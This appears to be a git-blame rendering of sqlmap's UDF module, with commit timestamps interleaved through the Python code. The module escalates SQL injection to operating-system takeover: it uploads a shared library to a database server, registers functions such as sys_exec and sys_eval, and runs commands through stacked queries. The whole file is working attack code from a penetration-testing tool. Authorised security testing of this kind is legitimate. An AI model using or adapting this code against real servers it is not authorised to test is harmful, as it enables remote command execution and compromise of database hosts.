2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2009-04-22 15:48:07 +04:00
"""
2019-01-05 23:38:52 +03:00
Copyright ( c ) 2006 - 2019 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2009-04-22 15:48:07 +04:00
"""
2009-09-26 03:03:45 +04:00
import os
from lib . core . agent import agent
2019-06-04 15:44:06 +03:00
from lib . core . common import Backend
2014-10-31 19:06:09 +03:00
from lib . core . common import checkFile
2010-10-21 02:09:03 +04:00
from lib . core . common import dataToStdout
2013-02-13 12:57:16 +04:00
from lib . core . common import isStackingAvailable
2009-09-26 03:03:45 +04:00
from lib . core . common import readInput
2019-03-28 18:04:38 +03:00
from lib . core . common import unArrayizeValue
from lib . core . compat import xrange
2009-09-26 03:03:45 +04:00
from lib . core . data import conf
from lib . core . data import logger
from lib . core . data import queries
2012-04-04 13:25:05 +04:00
from lib . core . enums import CHARSET_TYPE
2019-06-04 15:44:06 +03:00
from lib . core . enums import DBMS
2012-04-04 13:25:05 +04:00
from lib . core . enums import EXPECTED
2011-04-23 20:25:09 +04:00
from lib . core . enums import OS
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapFilePathException
from lib . core . exception import SqlmapMissingMandatoryOptionException
from lib . core . exception import SqlmapUnsupportedFeatureException
from lib . core . exception import SqlmapUserQuitException
2010-02-12 01:57:50 +03:00
from lib . core . unescaper import unescaper
2009-04-22 15:48:07 +04:00
from lib . request import inject
2019-05-29 17:42:04 +03:00
class UDF ( object ) :
2009-04-22 15:48:07 +04:00
"""
This class defines methods to deal with User - Defined Functions for
plugins .
"""
def __init__ ( self ) :
2011-04-30 17:20:05 +04:00
self . createdUdf = set ( )
self . udfs = { }
2009-04-22 15:48:07 +04:00
self . udfToCreate = set ( )
2012-12-06 17:14:19 +04:00
def _askOverwriteUdf ( self , udf ) :
2011-04-30 17:20:05 +04:00
message = " UDF ' %s ' already exists, do you " % udf
2010-01-02 05:02:12 +03:00
message + = " want to overwrite it? [y/N] "
2009-09-26 03:03:45 +04:00
2017-04-18 16:48:05 +03:00
return readInput ( message , default = ' N ' , boolean = True )
2009-09-26 03:03:45 +04:00
2012-12-06 17:14:19 +04:00
def _checkExistUdf ( self , udf ) :
2010-01-02 05:02:12 +03:00
logger . info ( " checking if UDF ' %s ' already exist " % udf )
2009-09-26 03:03:45 +04:00
2011-02-21 19:00:56 +03:00
query = agent . forgeCaseStatement ( queries [ Backend . getIdentifiedDbms ( ) ] . check_udf . query % ( udf , udf ) )
2012-07-11 13:58:47 +04:00
return inject . getValue ( query , resumeValue = False , expected = EXPECTED . BOOL , charsetType = CHARSET_TYPE . BINARY )
2009-09-26 03:03:45 +04:00
def udfCheckAndOverwrite ( self , udf ) :
2012-12-06 17:14:19 +04:00
exists = self . _checkExistUdf ( udf )
2009-09-26 03:03:45 +04:00
overwrite = True
2010-01-02 05:02:12 +03:00
if exists :
2012-12-06 17:14:19 +04:00
overwrite = self . _askOverwriteUdf ( udf )
2009-09-26 03:03:45 +04:00
2010-01-02 05:02:12 +03:00
if overwrite :
2009-09-26 03:03:45 +04:00
self . udfToCreate . add ( udf )
def udfCreateSupportTbl ( self , dataType ) :
2010-03-10 01:14:26 +03:00
debugMsg = " creating a support table for user-defined functions "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-09-26 03:03:45 +04:00
self . createSupportTbl ( self . cmdTblName , self . tblField , dataType )
2012-02-17 19:54:49 +04:00
def udfForgeCmd ( self , cmd ) :
if not cmd . startswith ( " ' " ) :
cmd = " ' %s " % cmd
if not cmd . endswith ( " ' " ) :
cmd = " %s ' " % cmd
return cmd
2009-09-26 03:03:45 +04:00
def udfExecCmd ( self , cmd , silent = False , udfName = None ) :
if udfName is None :
udfName = " sys_exec "
2013-01-18 18:40:37 +04:00
cmd = unescaper . escape ( self . udfForgeCmd ( cmd ) )
2010-02-12 01:57:50 +03:00
2012-02-17 19:54:49 +04:00
return inject . goStacked ( " SELECT %s ( %s ) " % ( udfName , cmd ) , silent )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def udfEvalCmd ( self , cmd , first = None , last = None , udfName = None ) :
if udfName is None :
udfName = " sys_eval "
2012-02-17 19:54:49 +04:00
if conf . direct :
output = self . udfExecCmd ( cmd , udfName = udfName )
if output and isinstance ( output , ( list , tuple ) ) :
new_output = " "
for line in output :
new_output + = line . replace ( " \r " , " \n " )
2010-02-12 01:57:50 +03:00
2012-02-17 19:54:49 +04:00
output = new_output
else :
2013-01-18 18:40:37 +04:00
cmd = unescaper . escape ( self . udfForgeCmd ( cmd ) )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
inject . goStacked ( " INSERT INTO %s ( %s ) VALUES ( %s ( %s )) " % ( self . cmdTblName , self . tblField , udfName , cmd ) )
2012-10-25 11:56:36 +04:00
output = unArrayizeValue ( inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . cmdTblName ) , resumeValue = False , firstChar = first , lastChar = last , safeCharEncode = False ) )
2012-02-17 19:54:49 +04:00
inject . goStacked ( " DELETE FROM %s " % self . cmdTblName )
2009-04-22 15:48:07 +04:00
return output
2010-02-12 01:57:50 +03:00
def udfCheckNeeded ( self ) :
2019-06-27 18:28:43 +03:00
if ( not any ( ( conf . fileRead , conf . commonFiles ) ) or ( any ( ( conf . fileRead , conf . commonFiles ) ) and not Backend . isDbms ( DBMS . PGSQL ) ) ) and " sys_fileread " in self . sysUdfs :
2010-02-12 01:57:50 +03:00
self . sysUdfs . pop ( " sys_fileread " )
2010-02-06 02:14:16 +03:00
if not conf . osPwn :
self . sysUdfs . pop ( " sys_bineval " )
if not conf . osCmd and not conf . osShell and not conf . regRead :
self . sysUdfs . pop ( " sys_eval " )
2010-02-12 01:57:50 +03:00
if not conf . osPwn and not conf . regAdd and not conf . regDel :
self . sysUdfs . pop ( " sys_exec " )
2009-09-26 03:03:45 +04:00
def udfSetRemotePath ( self ) :
errMsg = " udfSetRemotePath() method must be defined within the plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2009-09-26 03:03:45 +04:00
2010-02-12 01:57:50 +03:00
def udfSetLocalPaths ( self ) :
errMsg = " udfSetLocalPaths() method must be defined within the plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-02-12 01:57:50 +03:00
2010-03-21 03:39:44 +03:00
def udfCreateFromSharedLib ( self , udf = None , inpRet = None ) :
2010-02-12 02:07:33 +03:00
errMsg = " udfCreateFromSharedLib() method must be defined within the plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2009-09-26 03:03:45 +04:00
def udfInjectCore ( self , udfDict ) :
2013-01-23 05:27:01 +04:00
written = False
2009-09-26 03:03:45 +04:00
for udf in udfDict . keys ( ) :
if udf in self . createdUdf :
continue
self . udfCheckAndOverwrite ( udf )
if len ( self . udfToCreate ) > 0 :
self . udfSetRemotePath ( )
2014-10-31 19:06:09 +03:00
checkFile ( self . udfLocalFile )
2013-01-23 05:27:01 +04:00
written = self . writeFile ( self . udfLocalFile , self . udfRemoteFile , " binary " , forceCheck = True )
if written is not True :
errMsg = " there has been a problem uploading the shared library, "
errMsg + = " it looks like the binary file has not been written "
errMsg + = " on the database underlying file system "
logger . error ( errMsg )
message = " do you want to proceed anyway? Beware that the "
message + = " operating system takeover will fail [y/N] "
2017-04-19 15:46:27 +03:00
if readInput ( message , default = ' N ' , boolean = True ) :
2013-01-23 05:27:01 +04:00
written = True
else :
return False
2013-02-14 22:29:55 +04:00
else :
return True
2009-09-26 03:03:45 +04:00
for udf , inpRet in udfDict . items ( ) :
if udf in self . udfToCreate and udf not in self . createdUdf :
self . udfCreateFromSharedLib ( udf , inpRet )
2011-04-30 18:54:29 +04:00
if Backend . isDbms ( DBMS . MYSQL ) :
2009-09-26 03:03:45 +04:00
supportTblType = " longtext "
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . PGSQL ) :
2009-09-26 03:03:45 +04:00
supportTblType = " text "
self . udfCreateSupportTbl ( supportTblType )
2013-01-23 05:27:01 +04:00
return written
2010-02-12 01:57:50 +03:00
def udfInjectSys ( self ) :
self . udfSetLocalPaths ( )
self . udfCheckNeeded ( )
2013-01-23 05:27:01 +04:00
return self . udfInjectCore ( self . sysUdfs )
2010-02-12 01:57:50 +03:00
2009-09-26 03:03:45 +04:00
def udfInjectCustom ( self ) :
2013-01-09 18:38:41 +04:00
if Backend . getIdentifiedDbms ( ) not in ( DBMS . MYSQL , DBMS . PGSQL ) :
2013-01-22 22:28:48 +04:00
errMsg = " UDF injection feature only works on MySQL and PostgreSQL "
logger . error ( errMsg )
return
2009-09-26 03:03:45 +04:00
2013-02-13 12:57:16 +04:00
if not isStackingAvailable ( ) and not conf . direct :
2013-01-22 22:28:48 +04:00
errMsg = " UDF injection feature requires stacked queries SQL injection "
logger . error ( errMsg )
2009-09-26 03:03:45 +04:00
return
self . checkDbmsOs ( )
2010-03-21 03:39:44 +03:00
if not self . isDba ( ) :
2012-07-13 16:33:16 +04:00
warnMsg = " functionality requested probably does not work because "
2017-08-20 11:02:26 +03:00
warnMsg + = " the current session user is not a database administrator "
2009-09-26 03:03:45 +04:00
logger . warn ( warnMsg )
if not conf . shLib :
2012-10-23 17:52:43 +04:00
msg = " what is the local path of the shared library? "
2009-09-26 03:03:45 +04:00
while True :
self . udfLocalFile = readInput ( msg )
if self . udfLocalFile :
break
else :
logger . warn ( " you need to specify the local path of the shared library " )
else :
self . udfLocalFile = conf . shLib
if not os . path . exists ( self . udfLocalFile ) :
errMsg = " the specified shared library file does not exist "
2012-12-06 17:14:19 +04:00
raise SqlmapFilePathException ( errMsg )
2009-09-26 03:03:45 +04:00
if not self . udfLocalFile . endswith ( " .dll " ) and not self . udfLocalFile . endswith ( " .so " ) :
errMsg = " shared library file must end with ' .dll ' or ' .so ' "
2012-12-06 17:14:19 +04:00
raise SqlmapMissingMandatoryOptionException ( errMsg )
2009-09-26 03:03:45 +04:00
2011-04-23 20:25:09 +04:00
elif self . udfLocalFile . endswith ( " .so " ) and Backend . isOs ( OS . WINDOWS ) :
2011-04-30 17:20:05 +04:00
errMsg = " you provided a shared object as shared library, but "
2009-09-26 03:03:45 +04:00
errMsg + = " the database underlying operating system is Windows "
2012-12-06 17:14:19 +04:00
raise SqlmapMissingMandatoryOptionException ( errMsg )
2009-09-26 03:03:45 +04:00
2011-04-23 20:25:09 +04:00
elif self . udfLocalFile . endswith ( " .dll " ) and Backend . isOs ( OS . LINUX ) :
2011-04-30 17:20:05 +04:00
errMsg = " you provided a dynamic-link library as shared library, "
2009-09-26 03:03:45 +04:00
errMsg + = " but the database underlying operating system is Linux "
2012-12-06 17:14:19 +04:00
raise SqlmapMissingMandatoryOptionException ( errMsg )
2009-09-26 03:03:45 +04:00
self . udfSharedLibName = os . path . basename ( self . udfLocalFile ) . split ( " . " ) [ 0 ]
2011-04-30 17:20:05 +04:00
self . udfSharedLibExt = os . path . basename ( self . udfLocalFile ) . split ( " . " ) [ 1 ]
2009-09-26 03:03:45 +04:00
2011-04-30 17:20:05 +04:00
msg = " how many user-defined functions do you want to create "
2009-09-26 03:03:45 +04:00
msg + = " from the shared library? "
while True :
2017-04-19 15:46:27 +03:00
udfCount = readInput ( msg , default = ' 1 ' )
2009-09-26 03:03:45 +04:00
2017-04-19 15:46:27 +03:00
if udfCount . isdigit ( ) :
2009-09-26 03:03:45 +04:00
udfCount = int ( udfCount )
if udfCount < = 0 :
logger . info ( " nothing to inject then " )
return
else :
break
else :
logger . warn ( " invalid value, only digits are allowed " )
2015-10-09 14:48:21 +03:00
for x in xrange ( 0 , udfCount ) :
2009-09-26 03:03:45 +04:00
while True :
2011-04-30 17:20:05 +04:00
msg = " what is the name of the UDF number %d ? " % ( x + 1 )
2009-09-26 03:03:45 +04:00
udfName = readInput ( msg )
if udfName :
self . udfs [ udfName ] = { }
break
else :
logger . warn ( " you need to specify the name of the UDF " )
2011-04-30 18:54:29 +04:00
if Backend . isDbms ( DBMS . MYSQL ) :
2009-09-26 03:03:45 +04:00
defaultType = " string "
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . PGSQL ) :
2009-09-26 03:03:45 +04:00
defaultType = " text "
self . udfs [ udfName ] [ " input " ] = [ ]
2011-04-30 17:20:05 +04:00
msg = " how many input parameters takes UDF "
2017-04-19 15:46:27 +03:00
msg + = " ' %s ' ? (default: 1) " % udfName
2009-09-26 03:03:45 +04:00
while True :
2017-04-19 15:46:27 +03:00
parCount = readInput ( msg , default = ' 1 ' )
2009-09-26 03:03:45 +04:00
2017-04-19 15:46:27 +03:00
if parCount . isdigit ( ) and int ( parCount ) > = 0 :
2009-09-26 03:03:45 +04:00
parCount = int ( parCount )
break
else :
logger . warn ( " invalid value, only digits >= 0 are allowed " )
2015-10-09 14:48:21 +03:00
for y in xrange ( 0 , parCount ) :
2011-04-30 17:20:05 +04:00
msg = " what is the data-type of input parameter "
msg + = " number %d ? (default: %s ) " % ( ( y + 1 ) , defaultType )
2009-09-26 03:03:45 +04:00
while True :
2017-04-19 15:46:27 +03:00
parType = readInput ( msg , default = defaultType ) . strip ( )
2009-09-26 03:03:45 +04:00
2017-04-19 15:46:27 +03:00
if parType . isdigit ( ) :
2009-09-26 03:03:45 +04:00
logger . warn ( " you need to specify the data-type of the parameter " )
else :
self . udfs [ udfName ] [ " input " ] . append ( parType )
break
2011-04-30 17:20:05 +04:00
msg = " what is the data-type of the return "
2009-09-26 03:03:45 +04:00
msg + = " value? (default: %s ) " % defaultType
while True :
retType = readInput ( msg , default = defaultType )
2019-03-28 15:53:54 +03:00
if hasattr ( retType , " isdigit " ) and retType . isdigit ( ) :
2009-09-26 03:03:45 +04:00
logger . warn ( " you need to specify the data-type of the return value " )
else :
self . udfs [ udfName ] [ " return " ] = retType
break
2013-01-23 05:27:01 +04:00
success = self . udfInjectCore ( self . udfs )
if success is False :
self . cleanup ( udfDict = self . udfs )
return False
2009-09-26 03:03:45 +04:00
2011-04-30 17:20:05 +04:00
msg = " do you want to call your injected user-defined "
msg + = " functions now? [Y/n/q] "
2017-04-19 15:46:27 +03:00
choice = readInput ( msg , default = ' Y ' ) . upper ( )
2009-09-26 03:03:45 +04:00
2017-04-18 16:48:05 +03:00
if choice == ' N ' :
2009-09-26 03:03:45 +04:00
self . cleanup ( udfDict = self . udfs )
return
2017-04-18 16:48:05 +03:00
elif choice == ' Q ' :
2010-09-30 23:49:14 +04:00
self . cleanup ( udfDict = self . udfs )
2012-12-06 17:14:19 +04:00
raise SqlmapUserQuitException
2009-09-26 03:03:45 +04:00
while True :
udfList = [ ]
2011-04-30 17:20:05 +04:00
msg = " which UDF do you want to call? "
2009-09-26 03:03:45 +04:00
2010-03-21 03:39:44 +03:00
for udf in self . udfs . keys ( ) :
2009-09-26 03:03:45 +04:00
udfList . append ( udf )
msg + = " \n [ %d ] %s " % ( len ( udfList ) , udf )
msg + = " \n [q] Quit "
while True :
2017-04-19 15:46:27 +03:00
choice = readInput ( msg ) . upper ( )
2009-09-26 03:03:45 +04:00
2017-04-18 16:48:05 +03:00
if choice == ' Q ' :
2009-09-26 03:03:45 +04:00
break
2019-03-28 15:53:54 +03:00
elif hasattr ( choice , " isdigit " ) and choice . isdigit ( ) and int ( choice ) > 0 and int ( choice ) < = len ( udfList ) :
2009-09-26 03:03:45 +04:00
choice = int ( choice )
break
elif isinstance ( choice , int ) and choice > 0 and choice < = len ( udfList ) :
break
else :
2011-04-30 17:20:05 +04:00
warnMsg = " invalid value, only digits >= 1 and "
2009-09-26 03:03:45 +04:00
warnMsg + = " <= %d are allowed " % len ( udfList )
logger . warn ( warnMsg )
2015-07-20 18:03:20 +03:00
if not isinstance ( choice , int ) :
break
2011-04-30 17:20:05 +04:00
cmd = " "
count = 1
2009-09-26 03:03:45 +04:00
udfToCall = udfList [ choice - 1 ]
for inp in self . udfs [ udfToCall ] [ " input " ] :
2011-04-30 17:20:05 +04:00
msg = " what is the value of the parameter number "
2009-09-26 03:03:45 +04:00
msg + = " %d (data-type: %s )? " % ( count , inp )
while True :
parValue = readInput ( msg )
if parValue :
if " int " not in inp and " bool " not in inp :
parValue = " ' %s ' " % parValue
cmd + = " %s , " % parValue
break
else :
logger . warn ( " you need to specify the value of the parameter " )
count + = 1
2011-04-30 17:20:05 +04:00
cmd = cmd [ : - 1 ]
msg = " do you want to retrieve the return value of the "
msg + = " UDF? [Y/n] "
2009-09-26 03:03:45 +04:00
2017-04-18 16:48:05 +03:00
if readInput ( msg , default = ' Y ' , boolean = True ) :
2009-09-26 03:03:45 +04:00
output = self . udfEvalCmd ( cmd , udfName = udfToCall )
if output :
2010-05-28 20:43:04 +04:00
conf . dumper . string ( " return value " , output )
2009-09-26 03:03:45 +04:00
else :
2010-10-21 02:09:03 +04:00
dataToStdout ( " No return value \n " )
2009-09-26 03:03:45 +04:00
else :
self . udfExecCmd ( cmd , udfName = udfToCall , silent = True )
2011-04-30 17:20:05 +04:00
msg = " do you want to call this or another injected UDF? [Y/n] "
2009-09-26 03:03:45 +04:00
2017-04-18 16:48:05 +03:00
if not readInput ( msg , default = ' Y ' , boolean = True ) :
2009-09-26 03:03:45 +04:00
break
self . cleanup ( udfDict = self . udfs )